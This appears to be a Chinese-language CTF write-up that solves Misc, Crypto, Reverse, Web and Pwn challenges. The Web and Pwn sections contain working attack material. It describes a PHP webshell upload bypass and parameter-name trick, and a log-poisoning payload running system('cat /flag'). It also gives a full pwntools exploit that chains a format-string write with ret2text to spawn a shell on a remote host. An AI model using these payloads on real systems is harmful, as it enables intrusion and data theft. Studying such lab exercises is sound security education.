Misc 流量分析 打开流量包,发现存在http对象,且为docm格式
打开提示宏被禁用
选择启用宏,访问宏管理界面,得到宏代码
basic 1 2 3 4 5 6 7 8 9 10 11 12 13 Option Explicit Dim strEncoded, strDecoded strEncoded = "ZmxhZ3s3ODVkMzRiNy1hMThiLTQ0YmUtOGU0Yi0xYzNkMzhmODhiYWF9" strDecoded = DecodeBase64(strEncoded) Debug.Print strDecoded Function DecodeBase64(strIn) Dim objXML, strOut Set objXML = CreateObject("Microsoft.XMLDOM") objXML.async = False objXML.loadXML "<root>" & strIn & "</root>" DecodeBase64 = objXML.SelectSingleNode("/root").Text Set objXML = Nothing End Function
简要分析,发现是对strEncoded进行base64解码
对ZmxhZ3s3ODVkMzRiNy1hMThiLTQ0YmUtOGU0Yi0xYzNkMzhmODhiYWF9
解码得到
flag{785d34b7-a18b-44be-8e4b-1c3d38f88baa}
Crypto 简单编码 解码顺序
base64->hex->base91->base58
得到flag为flag{6f1be467900cf5ae57ea2f34e3536635}
什么加密 一个python代码,记录了加密顺序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def encrypt (plaintext, key ): ciphertext = '' for i in range (len (plaintext)): char = plaintext[i] num = ord (char) - 97 num = (num + key) % 26 char = chr (num + 97 ) ciphertext += char return ciphertext plaintext = '********' flag = "flag{" + "}" key = 10 ciphertext = encrypt(plaintext, key) print (ciphertext)
核心加密逻辑是(num + key) % 26
,解密则就是(num - key + 26) % 26
,为了防止出现负数,需要再加上26
解密代码为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def decrypt (plaintext, key ): decrypttext = "" for i in range (len (plaintext)): char = plaintext[i] num = ord (char) - 97 num = (num - key + 26 ) % 26 char = chr (num + 97 ) decrypttext += char return decrypttext plaintext = 'iyexygmkxlbokursvvmbizdy' key = 10 decrypttext = decrypt(plaintext, key) flag = "flag{" + decrypttext + "}" print (flag)
Reverse reverse IDA逆向出伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 int __fastcall main_0 (int argc, const char **argv, const char **envp) { char *v3; __int64 i; size_t v5; char v7; int j; char Str1[224 ]; __int64 v10; v3 = &v7; for ( i = 82LL ; i; --i ) { *(_DWORD *)v3 = -858993460 ; v3 += 4 ; } for ( j = 0 ; ; ++j ) { v10 = j; if ( j > j_strlen(Str2) ) break ; if ( Str2[j] == 111 ) Str2[j] = 48 ; } sub_1400111D1("input the flag:" ); sub_14001128F("%20s" , Str1); v5 = j_strlen(Str2); if ( !strncmp (Str1, Str2, v5) ) sub_1400111D1("this is the right flag!\n" ); else sub_1400111D1("wrong flag\n" ); return 0 ; }
核心加密逻辑是
1 2 3 4 5 6 7 8 for ( j = 0 ; ; ++j ) { v10 = j; if ( j > j_strlen(Str2) ) break ; if ( Str2[j] == 111 ) Str2[j] = 48 ; }
Str2是常量,为{hello_world}
遍历Str2的每个字符,当这个字符的ascii码值为111时(即o),将它替换成48(即0),所以最后Str2为{hell0_w0rld}
当输入值Str1和Str2相同时提示this is the right flag!
即flag为flag{hell0_w0rld}
flower IDA逆向出伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 int __cdecl main_0 (int argc, const char **argv, const char **envp) { size_t v3; _BYTE v5[1489 ]; size_t i; char Str1[60 ]; char Src[40 ]; char Str2[56 ]; Src[0 ] = -18 ; Src[1 ] = -28 ; Src[2 ] = -23 ; Src[3 ] = -17 ; Src[4 ] = -13 ; Src[5 ] = -63 ; Src[6 ] = -41 ; Src[7 ] = -26 ; Src[8 ] = -19 ; Src[9 ] = -19 ; Src[10 ] = -20 ; Src[11 ] = -41 ; Src[12 ] = -15 ; Src[13 ] = -72 ; Src[14 ] = -3 ; Src[15 ] = -6 ; Src[16 ] = -41 ; Src[17 ] = -18 ; Src[18 ] = -71 ; Src[19 ] = -23 ; Src[20 ] = -17 ; Src[21 ] = -41 ; Src[22 ] = -18 ; Src[23 ] = -71 ; Src[24 ] = -72 ; Src[25 ] = -1 ; Src[26 ] = -70 ; Src[27 ] = -6 ; Src[28 ] = -5 ; Src[29 ] = -11 ; Src[30 ] = 0 ; v3 = j__strlen(Src); j__memmove(Str1, Src, v3 + 1 ); sub_439C44("give me a flower\n" ); sub_43B788("%s" , Str2); sub_439C44("thank you,give you a fuck flag: flag{this_1_a_fuck_f1ag_hahaha}\n" ); for ( i = 0 ; i < j__strlen(Str1); ++i ) Str1[i] ^= 0x88u ; if ( !j__strcmp(Str1, Str2) ) return sub_439C44("I guess you guessed it\n" ); sub_439C44("try agin agin agin" ); qmemcpy(v5, &unk_4B5EE8, sizeof (v5)); return sub_439C44("%s" ); }
观察易知,Src和Str1应该是存储的flag
核心flag生成逻辑是
1 2 for ( i = 0 ; i < j__strlen(Str1); ++i ) Str1[i] ^= 0x88u ;
python代码
1 2 3 4 5 6 a = [-18 ,-28 ,-23 ,-17 ,-13 ,-63 ,-41 ,-26 ,-19 ,-19 ,-20 ,-41 ,-15 ,-72 ,-3 ,-6 ,-41 ,-18 ,-71 ,-23 ,-17 ,-41 ,-18 ,-71 ,-72 ,-1 ,-70 ,-6 ,-5 ,-11 ,0 ] flag = "" for i in a: flag += chr ((256 +i) ^ 0x88 ) print (flag)
Web 真SSTI注入 访问根目录获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from flask import Flask, request, render_template_stringapp = Flask(__name__) black_list = ["eval" , "exec" , "open" , "'" , "~" , "+" , "globals" , "request" , "true" , "false" , 'get_flashed_messages' , 'range' , 'dict' , 'cycler' , 'self' ] def waf (name ): for x in black_list: if x in name.lower(): return True return False @app.route('/' ) def index (): return open (__file__).read() @app.route('/user' ) def user (): name = request.args.get("username" ) if waf(name): return "no no no" return render_template_string(name) if __name__ == '__main__' : app.run("0.0.0.0" , port=8888 )
访问/user
目录,传递username
,存在ssti模板注入
使用fenjing秒了
flag为flag{uDD66UDrt6aWBcEttAt4FhYUrb7t39wX}
文件上传 尝试直接上传木马,被拦截,提示仅能上传jpg文件
将木马后缀修改为jpg,拦截抓包,修改回php后缀,上传成功
但是不知道上传路径,尝试/upload
和/uploads
路径均无果
进行信息搜集
存在./index.php.swp
备份文件,访问获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php session_start ();?> <!DOCTYPE html> <html lang="en" class ="no -js "> <head > <meta charset ="UTF -8" /> <meta http -equiv ="X -UA -Compatible " content ="IE =edge "> <meta name ="viewport " content ="width =device -width , initial -scale =1"> <title >UPLOAD ME </title > <link rel ="stylesheet " type ="text /css " href ="css /normalize .css " /> <link rel ="stylesheet " type ="text /css " href ="css /demo .css " /> <link rel ="stylesheet " type ="text /css " href ="css /component .css " /> <script >(function (e ,t ,n ) {var r=e.querySelectorAll ("html" )[0 ];r.className=r.className.replace (/(^|\s)no-js (\s|$)/,"$1js $2 " )})(document,window,0 );</script></head> <body> <div class ="container "> <div class ="content "> <div class ="box "> <form action ="index .php " method ="post " enctype ="multipart /form -data "> <input type ="file " name ="file " id ="file -1" class ="inputfile inputfile -1" data -multiple -caption =" {count} files selected" multiple /> <label for=" file-1 "><svg xmlns=" http: <input type="submit" name="submit" value="Upload" /> </form> </div> </div> </div> <script src="js/custom-file-input.js" ></script> <div style="text-align:center;margin:10px 0; font:normal 14px/24px 'MicroSoft YaHei';" > </div> </body> </html> <?php if (!isset ($_SESSION ['source' ])){ $_SESSION ['source' ] = sha1 (rand (0 ,1000 )); } $finalPos = getcwd () . "/upload/" . sha1 ($_SESSION ['source' ]);$filePos = $finalPos . "/" . basename ($fileName );
发现文件上传的路径是/upload/sha1(rand(0,1000))/filename
因为sha1(rand(0,1000))
是随机生成的,因此需要爆破
爆破得到路径为/upload/6052521b7625e31d4ee9cc706732484fcf850877/normal.php
蚁剑连接在根目录存在flag
flag为flag{UJSv6ugGRMKtffnFUEuKumthatF4aw6m}
隐藏文件 目录扫描,存在/.index.php.swp
访问即可下载,发现是这么一个东西
注意到最后是php一句话木马,连接密码是c_m.d
,但是如果直接使用c_m.d
会被转义为c_m_d
,利用php8以下版本的解析漏洞,传c[m.d
参数实质上会被解析为c_m.d
访问c[m.d=system("cat /flag");
你的包含 访问源码,存在提示
显然文件包含漏洞,简单fuzz尝试伪协议,php和data被过滤,file读取不到flag文件
转向尝试日志包含,访问/?files=../../../../../var/log/nginx/access.log
存在日志包含,使用bp访问/<?php eval($_GET['cmd']);?>
路径,直接访问可能出现被url编码而包含失败的问题
再访问/?files=../../../../../var/log/nginx/access.log&cmd=system("ls /");
发现可疑的flaaaaag_8d673d5f4ab5
文件
访问/?files=../../../../../var/log/nginx/access.log&cmd=system("cat /flaaaaag_8d673d5f4ab5");
得到flag为flag{uYKsYedhgtaxRxhHgQ6u7qWne5F36qRe}
Pwn pwn2 首先使用checksec检查程序
接着使用IDA反汇编,得到主函数伪代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { __int64 v4; __int64 *v5; sub_4011ED(a1, a2, a3); v5 = &v4; puts ("Please input something:" ); __isoc99_scanf("%s" , format); puts ("haa~ Perhaps it contains unexpected content." ); printf (format); if ( v4 != 119 ) { puts ("Bye~" ); exit (0 ); } puts ("ok, you pass it!" ); __isoc99_scanf("%s" , &v5); return 0LL ; }
1 2 3 4 int sub_4011D6 () { return system("/bin/sh" ); }
并且存在后门函数
观察存在格式化漏洞与栈溢出漏洞
如果v4!=119
,则程序终止运行
那么思路就是,先通过格式化字符串漏洞覆写v4的值,使其等于119绕过if判断,再利用第二个scanf函数打ret2text调用后门函数getshell
首先利用%n%p
测试格式化字符串漏洞,找到第八个参数为v4,通过输入%119c%8$n
将119写入v4绕过if判断
然后打一个ret2text即可,缓冲区大小0x20,再加上8个字节,shell地址为0x4011DE
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *sh = process("./pwn2" ) sh = remote("39.107.234.204" ,42404 ) shell_addr = 0x4011DE sh.recvuntil(b"Please input something:" ) payload = b'%119c%8$n' sh.sendline(payload) sh.recvuntil(b"ok, you pass it!" ) payload = b'A' *(0x20 +8 ) + p64(shell_addr) sh.sendline(payload) sh.interactive() sh.close()
getshell后执行cat /flag
得到flag为flag{x7EJaRB3mkAqUWkU9XJBWfryFMWNStkQ}